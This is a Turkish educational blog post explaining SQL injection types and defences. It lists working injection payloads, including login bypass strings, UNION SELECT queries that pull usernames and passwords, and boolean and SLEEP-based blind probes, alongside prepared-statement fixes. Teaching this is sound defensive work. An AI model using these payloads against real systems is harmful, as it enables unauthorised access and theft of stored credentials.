SQL Injection (SQLi) Nedir? Türleri ve Payload Örnekleri
Web güvenliğinin en köklü ve en tehlikeli açıklarından biri olan SQL Injection (SQLi), modern framework’lere ve ORM’lere rağmen hâlâ birçok sistemde karşımıza çıkmaktadır. Bu yazıda SQLi’nin mantığını, türlerini ve her türe ait örnek saldırı vektörlerini (payload) inceleyeceğiz.
Aşağıdaki payloadlar yalnızca eğitim amaçlıdır. Sadece kendi laboratuvar ortamınızda veya yazılı izniniz olan sistemlerde test ediniz.
SQL Injection Nedir?
SQL Injection, bir uygulamanın veritabanı sorgularına (SQL) müdahale edilmesine olanak tanıyan bir güvenlik açığıdır. Saldırgan, uygulamanın beklediği girdi yerine zararlı SQL komutları göndererek veritabanını manipüle eder.
Bu zafiyet sayesinde saldırganlar:
- Yetkisiz giriş yapabilir (authentication bypass).
- Veritabanındaki hassas verileri okuyabilir.
- Verileri değiştirebilir veya silebilir.
- Bazı durumlarda sunucuda komut çalıştırabilir (RCE’ye kadar uzanabilir).
Nasıl Çalışır?
Normal şartlarda bir web sitesi kullanıcı adı istediğinde arka planda şöyle bir sorgu çalışır:
1
SELECT * FROM users WHERE username = 'kullanici_girdisi';
Geliştirici bu girdiyi filtrelemezse, saldırgan admin' -- gibi bir ifade
girdiğinde sorgu şuna dönüşür:
1
SELECT * FROM users WHERE username = 'admin' --';
Buradaki -- ifadesi (MySQL’de) sorgunun geri kalanını yorum satırı yapar
ve şifre kontrolü devre dışı kalarak sisteme admin olarak giriş yapılır.
SQLi Türleri ve Payload Örnekleri
SQLi temelde üç ana kategoriye ayrılır: In-band, Inferential (Blind) ve Out-of-band.
1. In-band SQLi (Klasik)
Saldırganın veriyi aynı kanal üzerinden (örneğin sayfada dönen hata mesajı veya tablo içinde) görebildiği en yaygın türdür.
A. Error-Based (Hata Temelli)
Veritabanının verdiği hata mesajlarını kullanarak veritabanı yapısını çözmeye çalışır.
1
2
3
' OR 1=1; --
' OR '1'='1
' OR 1=1 LIMIT 1; --
B. Union-Based
UNION operatörü ile orijinal sorgunun sonucuna kendi sorgumuzun sonucunu
ekleriz. Kolon sayısını tespit etmek için:
1
2
3
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (hata alana kadar sayı artırılır)
Veri çekmek için:
1
2
' UNION SELECT null, username, password FROM users--
' UNION SELECT 1, version(), database()--
2. Inferential (Blind) SQLi
Uygulama veritabanı hatalarını veya veriyi ekrana yansıtmaz. Saldırgan veritabanına “evet/hayır” soruları sorarak veya zaman gecikmeleri yaratarak veriyi harf harf çeker.
A. Boolean-Based
1
2
3
' AND 1=1-- (sayfa içeriği normal)
' AND 1=0-- (sayfa içeriği boş veya farklı)
' AND SUBSTRING((SELECT version()),1,1) = '5'--
B. Time-Based
Sayfa tepkisiz kalsa bile, veritabanını belirli bir süre uyutarak (sleep)
sorgunun başarılı olup olmadığı anlaşılır.
1
2
3
4
5
6
-- MySQL
' AND SLEEP(5)--
' UNION SELECT SLEEP(5)--
-- PostgreSQL
'; SELECT pg_sleep(5)--
3. Out-of-Band (OOB) SQLi
Saldırganın sunucudan doğrudan yanıt alamadığı, veritabanı özelliklerini (örneğin DNS veya HTTP istekleri) kullanarak veriyi dışarıdaki bir sunucuya gönderdiği nadir bir türdür (örn. Oracle/MSSQL’de DNS exfiltration).
Nasıl Korunulur?
SQL Injection’dan korunmanın en etkili yolu prepared statements (hazırlanmış sorgular) kullanmaktır. Kullanıcı girdisi asla doğrudan SQL sorgusuna string concatenation ile eklenmemelidir.
Güvensiz (Node.js örneği):
1
2
// ASLA YAPMAYIN
const query = "SELECT * FROM users WHERE id = " + userId;
Güvenli (prepared statement):
1
db.query("SELECT * FROM users WHERE id = ?", [userId]);
Ek savunma katmanları:
- En az yetki prensibi: uygulama veritabanı kullanıcısının yalnızca ihtiyaç duyduğu tablolara erişimi olmalı.
- WAF (Web Application Firewall) ile bilinen payload kalıplarının engellenmesi — ama bu tek başına yeterli değildir, savunmanın son katmanı olmalıdır.
- Düzenli statik/dinamik kod analizi (SAST/DAST).
Sonuç
SQL Injection onlarca yıldır bilinmesine rağmen hâlâ OWASP Top 10’da yer alıyor çünkü kök neden — kullanıcı girdisi ile kod/sorgu mantığının karıştırılması — birçok yeni projede tekrar tekrar üretiliyor. Prepared statement kullanmak, bu zafiyet sınıfını kökten ortadan kaldırmanın en güvenilir yoludur.